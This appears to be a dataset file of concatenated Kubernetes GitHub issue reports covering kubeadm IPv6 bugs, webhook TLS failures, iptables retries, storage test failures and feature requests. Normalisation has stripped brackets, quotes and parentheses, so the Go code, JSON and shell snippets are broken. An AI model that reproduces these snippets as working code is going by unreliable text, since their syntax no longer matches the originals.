sg4       tty0             tty18  tty27  tty36  tty45  tty54  tty63  urandom  vcsa1  vfio\r dm-1             dm-19  dm-28  dri    loop-control  network_throughput  raw       shm       tty1             tty19  tty28  tty37  tty46  tty55  tty7   usbmon0  vcsa2  vga_arbiter\r dm-10            dm-2   dm-29  fb0    loop0         null                rtc0      snapshot  tty10            tty2   tty29  tty38  tty47  tty56  tty8   vcs      vcsa3  vhci\r    \r \r since  /dev  is bind mounted, we also tried  /mnt/pvcname  as a devicepath--and it still was not present.\r \r ~~ /dev/vda  is present, and is the persistentvolume we expected: we just expected a link or symlink named /dev/pvcname.~~\r \r trying the above in unprivileged mode also does not result in  /dev/pvcname  being present.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r    client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r edit: redacted comment about /dev/vda being preset

\r \r kind feature\r \r \r   what happened  :\r with the increasing popularity of grpc as a communication method between micro services i expect sooner or later kubernetes will get grpc native load-balancing and fail over abilities. \r \r   what you expected to happen  :\r expecting to just do some information gathering on if this is in the roadmap at all for the current kubernetes features. i myself am architecting new projects with grpc in mind. \r

we need to add test-cmd tests for  kubectl rollout ...  commands to ensure that each one supports template printing  go-template, jsonpath, etc. , and that executing a command with just the  --template  flag defaults to printing using  go-template .\r \r if the rollout commands currently do not support the above criteria, they should be updated to do so.\r \r cc @soltysh @deads2k

what happened  :\r if you run 'kubeadm init ...' with an ipv6-only configuration, kubeadm will keep hanging and timing out here:\r    \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ \r    \r looking at the state of kubernetes system pods, both etcd and api controller pods are crashing.\r looking at the etcd server docker container logs, you'll find:\r    \r invalid value \ https://fd00:20::2:2379\  for flag -advertise-client-urls: url address does not have the form \ host:port\ : https://fd00:20::2:2379\r . . .\r    \r the issue here is that the url used for '--advertise-client-urls' needs square brackets around the ip address iff that ip address is ipv6, i.e. the url should be \ https:// fd00:20::2 :2379.\r \r inspecting the kubeadm code, the problem appears to be here:\r     https://github.com/kubernetes/kubernetes/blob/master/cmd/kubeadm/app/phases/etcd/local.go l145-l147\r    \r    \ advertise-client-urls\ :       fmt.sprintf \ https://%s:%d\ , cfg.apiendpoint.advertiseaddress, kubeadmconstants.etcdlistenclientport ,\r    \ listen-peer-urls\ :            fmt.sprintf \ https://%s:%d\ , cfg.apiendpoint.advertiseaddress, kubeadmconstants.etcdlistenpeerport ,\r    \ initial-advertise-peer-urls\ : fmt.sprintf \ https://%s:%d\ , cfg.apiendpoint.advertiseaddress, kubeadmconstants.etcdlistenpeerport ,\r    \r there are other \ ipv4-isms\  in this script, just search for \ %s:%d\ .\r \r   what you expected to happen  :\r ipv6 magic.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  1  git clone latest k8s master: https://github.com/kubernetes/kubernetes\r  2  git clone https://github.com/kubernetes-sigs/kubeadm-dind-cluster\r  2  use kubeadm-dind-cluster  k-d-c  scripts to bring up an ipv6-only cluster:\r    \r cd $gopath/src/k8s.io/kubernetes\r make clean\r export ip_mode=ipv6\r export build_kubeadm=y\r export build_hyperkube=y\r export remote_dns64_v4server=<your-local-dns-server-if-necessary>\r $home/kubeadm-dind-cluster/dind-cluster.sh up\r    \r \r   anything else we need to know?  :\r looks like the code in local.go that is described above was changed with pr  69486\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest, it's build with k-d-c scripts above\r - cloud provider or hardware configuration: any linux server, just use k-d-c\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

i get the following error while running conformance tests using kubetest.\r \r error during ./cluster/log-dump/log-dump.sh /builds/atd/oci_k8s_conformance_tests/conformance/k8s_release_stable-1.13/generated/_artifacts: exit status 1\r \r the test suite passed but the log collection step failed, quick look into code does suggest that skeleton types are not a part of node_ssh_supported_providers, so ideally log collection from master and workers should have skipped.\r https://github.com/kubernetes/kubernetes/blob/master/cluster/log-dump/log-dump.sh l41\r \r additional info -\r we do not use prow ci , we run the jobs  test  in our own environment and push the results to gcp bucket.\r one more observation, not sure whether it's important.\r when i used to run the same test on my mac dump-logs didn't cause any nuisance. see these results\r https://prow.k8s.io/view/gcs/k8s-conformance-oracle-cloud/cloud-provider-oci-oke/e2e-conformance-stable-1.11/1557807885\r the above issue arises when we run the test on linux  ubuntu os  dockers containers. see the results for ubuntu\r https://prow.k8s.io/view/gcs/k8s-conformance-oracle-cloud/cloud-provider-oci-oke/e2e-conformance-stable-1.11/1558512756

when running pkg/kubectl/describe_test.go, there are three objects that has no unit-tests at all: - horizontalpodautoscalerdescriber - ingressdescriber - jobdescriber.  i could not found proper fake client for them. it looks like all three needs the same fake client.  related to https://github.com/kubernetes/kubernetes/issues/24239 to finish testing of  kubectl describe --events=true|false .

i noticed that on a 1.2.1 cluster on aws, some nodes no longer had /etc/resolv.conf  the file no longer existed , and thus could not resolve dns.  i presume this is \ no longer had\  because otherwise i don't _think_ they could have started up at all, but they seemed reasonably healthy.  any pointers / guesses as to how this could have happened are appreciated.  this was a prod cluster, so we're not doing anything _too_ crazy.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r \r \r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  :  gce\r -   os    e.g. from /etc/os-release :   macos\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r when try to bring up a cluster on gce for testing, go run hack/e2e.go -v --up failed at trying to create minion instance template with error message: \r \r command that failed: \r gcloud compute instance-templates create e2e-test-minion-template    \r \r error message: \r \ value for field 'resource.properties.metadata.items 2 .value' is too large: maximum size 32768 character s ; actual size 33595.\ \r \r after enable debug logging, \ resource.properties.metadata.items 2 .value\  comes from \ cluster/gce/configure-vm.sh\ , the actual file with comments is 37962 bytes, the one without some comments generated by e2e.go  is 33595 bytes, which exceeds the max size in gce rest api as metadata value. \r \r actuall file: \r -rwxr-xr-x   1 juzhou2  staff  37962 nov 18 10:02 configure-vm.sh\r \r file without some of the comments generated by e2e.go: \r -rw-r--r--   1 juzhou2  staff  33595 nov 20 09:41 configure-vm.sh\r \r gce api doc: \r https://cloud.google.com/sdk/gcloud/reference/compute/instance-templates/create\r \ metadata keys must be unique and less than 128 bytes in length. values must be less than or equal to 32,768 bytes in length.\ \r \r \r \r   what you expected to happen  :\r \r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r go run hack/e2e.go -v --up  for gce\r \r   anything else do we need to know  :\r \r

from  7370.\r \r recently learned there are cases iptables command may fail  38057 . especially when using old iptables version that does not support  -w  flag  wait for xtables lock . without the  -w  flag, iptables command from kube-proxy may fail if kubelet is holding the xtables lock.\r \r checked the codes but did not find any direct retry logic in kube-proxy. what we do is simply log the error  ref  https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/iptables/proxier.go l829  . though we do have periodical sync loop per 30 seconds by default  to handle this failure. plus kube-proxy currently would receive lots of \ non-op\  updates from apiserver  26637 , which would also trigger  syncproxyrules   . \r \r the \ non-op\  updates somehow alleviate this situation. but once that is fixed, this kind of iptables failures may need to wait 30 seconds for the next sync loop, which sounds less effective. may be we could consider to retry on iptables failure.\r \r @kubernetes/sig-network

feature request  \r \r it would be nice to create a single job with multiple pods, that would run sequentially\r \r that could be:\r  - perform a database backup\r  - apply default data to a database\r  - migrate some data\r  - perform another backup\r \r each tack must be run sequentially as they depend / are meaningless if ran in parallel or out of order.\r the list of task form a single job that can be scheduled via a cronjob.\r \r questions:\r once a sub-job is completed, should it be restarted ?\r  eg: if apply default data is successful and migration fails, only migration & last backup are re-scheduled .\r \r an implementation could be:\r  - multiple pod in a single job  already supported  that runs in sequential order\r  - job containing jobs\r \r the second implementation could be better:\r  - jobs already handle a completion flag\r  - could help creating complex jobs, with part running in parallel\r \r gitlab ci files describe such possibilities. it can be interesting as a format: https://about.gitlab.com/2016/07/29/the-basics-of-gitlab-ci/\r \r \r   kubernetes version   v1.5.6\r \r   environment  :\r -   cloud provider or hardware configuration  : dedicated servers\r -   os  : ubuntu 16.04\r -   kernel  : 4.4.0-77-generic  stock \r -   install tools  : kubeadm

the following log excerpt comes from the attach detach controller trying to attach a volume that is already attached to an instance.\r \r attacher.go:73  error attaching volume \ aws://us-east-1c/<vol>\ : error attaching ebs volume \ <vol>\  to instance \ <instance>\ : volumeinuse: <vol> is already attached to an instance\r nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/aws-ebs/aws://us-east-1c/<vol>\\\ \  failed. no retries permitted until <date>  durationbeforeretry 2m0s . error: failed to attach volume \ <pvc>\  on node \ <node>\  with: error attaching ebs volume \ <vol>\  to instance \ <vol>\ : volumeinuse: <vol> is already attached to an instance\r aws.go:1248  assigned mount device cm -> volume <vol>\r aws.go:1271  releasing in-process attachment entry: cm -> volume <vol>\r status code: 400, request id:\r status code: 400, request id:\r \r the problem is that the aws sdk produces an error message that includes a \  in it.  this can cause the log message to be split over multiple log entries.  that situation can be made worse if there are multiple events/logs going on at the same time.\r \r we should handle log messages from aws that contain a \  character in a better way.\r \r @kubernetes/sig-aws-misc @justinsb

in 1.6 tpr was indicated as unstable and subject to change   1   https://github.com/kubernetes/kubernetes.github.io/blob/release-1.6/docs/tasks/access-kubernetes-api/extend-api-third-party-resource.md . near the end of 1.6 we talked about a new api and how we would transition   2   https://github.com/kubernetes/community/blob/master/sig-api-machinery/api-extensions-position-statement.md q-should-tpr-maintain-compatibility-or-should-we-break-compatibility-to-fix-and-extend-it . in 1.7 we updated the docs to announce deprecation and provided the alternative and a clean semi-automatic migration path   3   https://github.com/kubernetes/kubernetes.github.io/blob/release-1.7/docs/tasks/access-kubernetes-api/extend-api-third-party-resource.md . they were specifically called out in the release notes   4   https://github.com/kubernetes/features/pull/306 . there is acknowledgement in the community that they will be removed   5   https://coreos.com/blog/custom-resource-kubernetes-v17 , and following our  deprecation policy  https://kubernetes.io/docs/reference/deprecation-policy/  we can remove them in 1.8 and focus our efforts on adding features like  validation  https://github.com/kubernetes/community/pull/708  to crds.\r \r @kubernetes/sig-api-machinery-misc @enisoc @smarterclayton @sttts @nikhita

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i pull the latest code, and run with below cmd. but the cluster is not up. \r    \r root@szx1000353068:/mnt/go/src/k8s.io/kubernetes  ./hack/local-up-cluster.sh\r    \r \r and i notice the kube-apiserver.log, \r    \r unknown flag: --authorization-mode\r usage of /mnt/go/src/k8s.io/kubernetes/_output/local/bin/linux/amd64/hyperkube:\r ...\r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  gitcommit:\ 980a5e80b12b35cb724aa276b8b589b5e96dd80f\ \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r in reviewing  59705, it is suggested that port-forward for a service resource should translate from service port to targetport if a user specify a service port to map.  this aligns with the goal of the pr   59705  to make port-forward easier to use without manual steps to gather all the information, but we agree it does not belong to the scope of that pr.  this issue is to track that.\r \r   what you expected to happen  :\r \r if a user use port-forward to map a service port when using a service/<service name>, port-forward logic should translate that into targetpod for remote port.\r \r note  59705 would block this as port-forward currently only support pod name.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i have exposed a service on multiple ports  80,443 .\r   what you expected to happen  :\r after deletion kube-controller could not clean up the loadbalancer from openstack.\r   how to reproduce it  as minimally and precisely as possible   :\r create a service with multiple port exposed and try to delete it on a k8s cluster with openstack provider.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.3\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : ubuntu xenial\r - kernel  e.g.  uname -a  : linux 4.4.0-116-generic ubuntu\r - install tools: kubeadm\r - others:\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r   what happened  : when a namespace is deleted, it sends delete requests to  empty  object of crd in that namespace. by  empty  resource i meant, the name of the resource is empty. although, there is no crd object in that namespace.\r \r in details, i have implemented a validating webhook for a crd. when i delete any namespace, the webhook is getting delete requests of  \ \   item in that namespace. the requests body i received while deleting namespace  demo :\r \r    yaml\r {\r    \ uid\ : \ e68f60b0-5286-11e8-a844-08002799670e\ ,\r    \ kind\ : {\r       \ group\ : \ kubedb.com\ ,\r       \ version\ : \ v1alpha1\ ,\r       \ kind\ : \ mongodb\ \r    },\r    \ resource\ : {\r       \ group\ : \ kubedb.com\ ,\r       \ version\ : \ v1alpha1\ ,\r       \ resource\ : \ mongodbs\ \r    },\r    \ namespace\ : \ demo\ ,\r    \ operation\ : \ delete\ ,\r    \ userinfo\ : {\r       \ username\ : \ system:serviceaccount:kube-system:namespace-controller\ ,\r       \ uid\ : \ 68d94cdd-51d1-11e8-9220-08002799670e\ ,\r       \ groups\ :  \r          \ system:serviceaccounts\ ,\r          \ system:serviceaccounts:kube-system\ ,\r          \ system:authenticated\ \r        \r    },\r    \ object\ : null,\r    \ oldobject\ : null\r }\r    \r at other times, the general request body is: \r \r    yaml\r {\r    \ uid\ : \ e51c6d1f-2117-11e8-a0a8-080027af2d87\ ,\r    \ kind\ : {\r       \ group\ : \ kubedb.com\ ,\r       \ version\ : \ v1alpha1\ ,\r       \ kind\ : \ mongodb\ \r    },\r    \ resource\ : {\r       \ group\ : \ kubedb.com\ ,\r       \ version\ : \ v1alpha1\ ,\r       \ resource\ : \ mongodbs\ \r    },\r    \ name\ : \ mongo-demo\ ,\r    \ namespace\ : \ demo\ ,\r    \ operation\ : \ delete\ ,\r    \ userinfo\ : {\r       \ username\ : \ minikube-user\ ,\r       \ groups\ :  \r          \ system:masters\ ,\r          \ system:authenticated\ \r        \r    },\r    \ object\ : null,\r    \ oldobject\ : null\r }\r    \r \r   what you expected to happen  : when there is no object in that namespace,  no delete requests of  empty  objects ?\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a validating webhook for a crd.\r - print the request body.\r - create a namespace  demo \r - now delete the namespace  demo \r - there should a delete request of  empty  resources.\r \r   anything else we need to know?  : \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:  desktop pc, ram: 16gb, processor: intel® core™ i3-4150 cpu @ 3.50ghz × 4  \r - os  e.g. from /etc/os-release : \r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :  linux appscode 4.4.0-122-generic  146-ubuntu smp mon apr 23 15:34:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:  minikube \r - others:\r    yaml\r $ minikube version\r minikube version: v0.26.1\r

>  \r https://github.com/kubernetes/website/edit/master/content/en/docs/concepts/configuration/assign-pod-node.md\r \r > inter-pod affinity and anti-affinity were introduced in kubernetes 1.4. inter-pod affinity and anti-affinity allow you to constrain which nodes your pod is eligible to be scheduled based on labels on pods that are already running on the node rather than based on labels on nodes. the rules are of the form “this pod should  or, in the case of anti-affinity, should not  run in an x if that x is already running one or more pods that meet rule y”. y is expressed as a labelselector with an associated list of namespaces  or “all” namespaces ; unlike nodes, because pods are namespaced  and therefore the labels on pods are implicitly namespaced , a label selector over pod labels must specify which namespaces the selector should apply to. conceptually x is a topology domain like node, rack, cloud provider zone, cloud provider region, etc. \r \r this bit says it constraints by nodes\r > you to constrain which nodes your pod is eligible to be scheduled\r \r while this bit says it it's about  y   node / rack / cloud provider etc ... \r > the rules are of the form “this pod should  or, in the case of anti-affinity, should not  run in an x if that x is already running one or more pods that meet rule y”\r \r ---- \r \r is it nodes? or is it  y ?\r these two parts seem to be conflicting? \r \r 

does k8s support running simple shell command application on cluster nodes?\r not just docker container on cluster nodes, but also shell command application on cluster nodes.  \r \r reference:  mesos/marathon  http://mesosphere.github.io/marathon/docs/application-basics.html \r \r  1. shell command application  http://mesosphere.github.io/marathon/docs/application-basics.html hello-marathon-an-inline-shell-script \r    \r {\r     \ id\ : \ basic-0\ , \r     \ cmd\ : \ while   true   ; do echo 'hello marathon' ; sleep 5 ; done\ ,\r     \ cpus\ : 0.1,\r     \ mem\ : 10.0,\r     \ instances\ : 1\r }\r    \r \r  2. docker based application  http://mesosphere.github.io/marathon/docs/application-basics.html a-simple-docker-based-application \r    \r {\r   \ id\ : \ basic-3\ ,\r   \ cmd\ : \ python3 -m http.server 8080\ ,\r   \ cpus\ : 0.5,\r   \ mem\ : 32.0,\r   \ networks\ :   { \ mode\ : \ container/bridge\  }  ,\r   \ container\ : {\r     \ type\ : \ docker\ ,\r     \ docker\ : {\r       \ image\ : \ python:3\ \r     },\r     \ portmappings\ :  \r       { \ containerport\ : 8080, \ hostport\ : 0 }\r      \r   }\r }\r    \r \r   i think this feature is very useful for non docker applications,\r how can i reach this goal by k8s like the mesos/marathon framework?\r thanks for your help!  \r \r \r

failing jobs\r ---\r  sig-release-1.12-blocking gce-cos-1.12-serial  https://k8s-testgrid.appspot.com/sig-release-1.12-blocking gce-cos-1.12-serial \r  sig-release-1.12-blocking gke-cos-1.12-default  https://k8s-testgrid.appspot.com/sig-release-1.12-blocking gke-cos-1.12-default \r  sig-release-1.12-blocking gke-cos-1.12-serial  https://k8s-testgrid.appspot.com/sig-release-1.12-blocking gke-cos-1.12-serial \r  sig-release-master-blocking gci-gce-serial  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-serial \r  sig-release-master-blocking gci-gke-serial  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-serial \r \r failing tests\r ---\r    \r  sig-storage  in-tree volumes  driver: gcepd   testpattern: dynamic pv  default fs   subpath should unmount if pod is force deleted while kubelet is down  disruptive  slow \r  sig-storage  in-tree volumes  driver: hostpath   testpattern: dynamic pv  default fs   volumes should be mountable\r  sig-storage  in-tree volumes  driver: hostpathsymlink   testpattern: pre-provisioned pv  default fs   subpath should support readonly file specified in the volumemount\r  sig-storage  in-tree volumes  driver: azure   testpattern: pre-provisioned pv  default fs   volumes should be mountable\r  sig-storage  in-tree volumes  driver: cinder   testpattern: dynamic pv  default fs   subpath should support readonly file specified in the volumemount\r    \r \r error example\r ---\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/subpath.go:120\r persistent volume pvc-4083b45c-b9dc-11e8-a26c-42010a8a0002 not deleted by dynamic provisioner\r expected error:\r     < errors.errorstring | 0xc421bbec70>: {\r         s: \ persistentvolume pvc-4083b45c-b9dc-11e8-a26c-42010a8a0002 still exists within 5m0s\ ,\r     }\r     persistentvolume pvc-4083b45c-b9dc-11e8-a26c-42010a8a0002 still exists within 5m0s\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/base.go:212\r    \r \r triage\r ---\r tests failing across release-master-blocking, release-1.12-all and release-1.12-blocking.  more failures on gke.  many of the test results in testgrid are stale, most recently failing is https://k8s-testgrid.appspot.com/sig-release-1.12-blocking gce-cos-1.12-serial\r \r \r    / /milestone v1.12

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :  \r service  a  with clusterip  169.169.14.147  and a domain  k8s.dev.example.com , the domain resolve to ingress-nginx. anothor service  b  will request  a , when use domain it works fine. i think using clusterip directly will get better performance because it saves some time for dns resolve and ingress-nginx proxy, so i change domain to clusterip. but the result was not expected, it got worse, very low throughput and high latency.\r \r   what you expected to happen  :\r on the above situation, clusterip should have better performance than ingress-nginx.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  ipvs  mode, do test with ab\r    \r   clusterip\r ab -c100 -t300 -n20000000 -r http://169.169.14.147/\r \r   domain resolve to ingress-nginx\r ab -c100 -t300 -n20000000 -r http://k8s.dev.example.com/\r    \r \r   anything else we need to know?  :\r i install an ipvs enviroment manually and do some test, and found it possiblly because ipvs will use iptables to realize  snat \r \r ! ipvs  https://user-images.githubusercontent.com/4145852/48137324-c1fbfe80-e2dc-11e8-9fba-ffce3260186d.png \r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.11.1\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release :  centos 7.2\r - kernel  e.g.  uname -a  : 3.10\r - install tools: binary\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r when configure admission webhook to use  external  url, if client authentication is enabled & configured, validatingwebhook requests to external admissionwebhook server fails because of client authentication.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. configure /etc/kubernetes/manifests/kube-apiserver.yaml \r     add --admission-control-config-file={path of admissioncontrolconfig.yaml} & make sure admissioncontrolconfig.yaml & admissionkubeconfig.yaml contains client base64-encoded cert/key  can be accessed from kube-apiserver\r 2. deploy admissionwebhook in-cluster service\r 3. configure validatingwebhookconfiguration/mutatingwebhookconfiguration with the in-cluster admissionwebhook service   using 'service' under clientconfig  \r 4. now deploy some other pods. it works well. observation on the in-cluster admissionwebhook rest server shows it's mutual authentication both server & client authentication \r 5. set up an external admissionwebhook server  ex. https://admission.mytest13579.com:443 . it loads the same clientrootca.pem as the in-cluster admissionwebhook  server.\r 6. set up a custom web client in go  and make sure it could send simulated validatingwebhook request to the external admissionwebhook server with mutual authentication\r  now we are sure the client&server authentication for the external admissionwebhook server functions well \r 7. re-configure validatingwebhookconfiguration/mutatingwebhookconfiguration to use 'url' under clientconfig  cabundle is changed to the one for the external admissionwebhook web server as well \r 8. in admissionkubeconfig.yaml, change users.name to 'admission.mytest13579.com'\r 9. restart kube-apiserver\r     make sure  admission.mytest13579.com can be resolved correctly in kube-spiserver\r 10. now deploy some other pods. it fails.\r       => kubectl shows logs like: \r       error from server  internalerror : error when creating \ mytest.yaml\ : internal error occurred: failed calling admission webhook \ admission.mytest13579.com\ : post https://admission.mytest13579.com:443/validate?timeout=30s: remote error: tls: bad certificate\r       => external admissionwebhook server shows\r       http: tls handshake error from 10.1.107.1:40682: tls: client didn't provide a certificate\r \r if i configure kube-apiserver to not using --admission-control-config-file, validatingwebhook request to external admissionwebhook server works fine with only server authentication.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r   server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: \r local vsphere environment\r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r - kernel  e.g.  uname -a  : \r linux wlin-k8master 4.4.0-47-generic  68-ubuntu smp wed oct 26 19:39:52 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r a storageaccount api call blocks kubelet from becoming ready when there isn't any outbound ip, 1. eventually  after 10mins , the kubelet registers again... there is a call to the arm api done by  azure_blobdiskcontroller.go:70  which blocks for 10mins, before letting kubelet complete with its starting logic and making the node as  ready \r \r details: https://github.com/kubernetes/cloud-provider-azure/issues/86\r \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.5\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

coreos 808 just changed to use journalctl as their logs backend  for some reason . this means that  docker logs  and  kubectl logs  no longer work. which is sad.

we only have  kubectl conventions for developers  https://github.com/kubernetes/kubernetes/blob/master/docs/devel/kubectl-conventions.md . we should create one for users.  ref  22569 for documenting kubectl run best practice ref http://kubernetes.github.io/docs/user-guide/config-best-practices/  @kubernetes/kubectl

during gci bootup config, the docker0 bridge is deleted before  kubelet starts  https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/gci/configure-helper.sh l458  which works fine when not using a network_provider.   if a network_provider is used  e.g. kubenet  kubelet won't restart docker, this introduces a race condition between when the config  restarts docker  https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/gci/configure-helper.sh l344  and the  docker0 bridge is deleted  https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/gci/configure-helper.sh l458 .  cc @bprashanth @thockin  @amey-d @fabioy @roberthbailey

i noticed that when i start a pod over a replicationcontroller and the disk space on the kubelet is not big enough to pull the docker image the pod get stuck at the pending status.  as example i tried to run heapster on kubernetes from this repo https://github.com/googlecloudplatform/heapster .  on my coreos  172.24.1.100  node:      core@kube-worker10 ~ $ df df: '/var/lib/docker/btrfs': permission denied filesystem     1k-blocks    used available use% mounted on rootfs           2813932 2395420      1668 100% / devtmpfs          369948       0    369948   0% /dev tmpfs             382008       0    382008   0% /dev/shm tmpfs             382008   38568    343440  11% /run tmpfs             382008       0    382008   0% /sys/fs/cgroup /dev/vda9        2813932 2395420      1668 100% / /dev/vda3        1032088  295904    683756  31% /usr tmpfs             382008       0    382008   0% /media tmpfs             382008       0    382008   0% /tmp /dev/vda6         110576      52    101352   1% /usr/share/oem      and a docker pull result in:      core@kube-worker10 ~ $ docker pull dockerfile/elasticsearch bf881c8d55df: error downloading dependent layers  2015/01/13 15:02:31 error pulling image  latest  from dockerfile/elasticsearch, applylayer exit status 1 write /elasticsearch/lib/jna-4.1.0.jar: no space left on device      but also the pod stays in the pending status and doesn't get rescheduled:      faaca93f-9b28-11e4-8021-525400c6de43   kubernetes/heapster_influxdb   172.24.1.100/       name=influxgrafana                 pending                                        kubernetes/heapster_grafana                                                                                                   dockerfile/elasticsearch                                                                    i'm using kubernetes v0.6.0 at the moment.  thank you

\r warning: you are creating a legacy network. using --mode=legacy will be required in future releases.\r    \r \r @kubernetes/sig-cluster-lifecycle

is this a bug report or feature request?  :\r  \r   what happened  :\r while using  kubectl describe pv flex-volume  to describe a flex-volume pv, the  source  section is empty.\r \r   what you expected to happen  :\r need to print out the flex-volume info, like drive, fstype, like other type of volume.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a pv with flex-volume type, and then use  kubectl describe pv xxx  to describe the pv object.\r

initializer.failurepolicy  field does not document  https://kubernetes.io/docs/api-reference/v1.7/ initializer-v1alpha1-admissionregistration :\r - the 1.7 limitation  only \ ignore\  can be used : not sure if fixing this is any worthy as it'll show up in the next minor release, which would probably put the feature to beta\r - default value of the field: should be specified. it appears like it's \ ignore\  currently but i am not sure what it will be once the feature is beta+.\r \r > ! image  https://user-images.githubusercontent.com/159209/28279139-604a6b80-6ad4-11e7-8568-63612b89ebf1.png \r \r /assign @caesarxuchao \r  

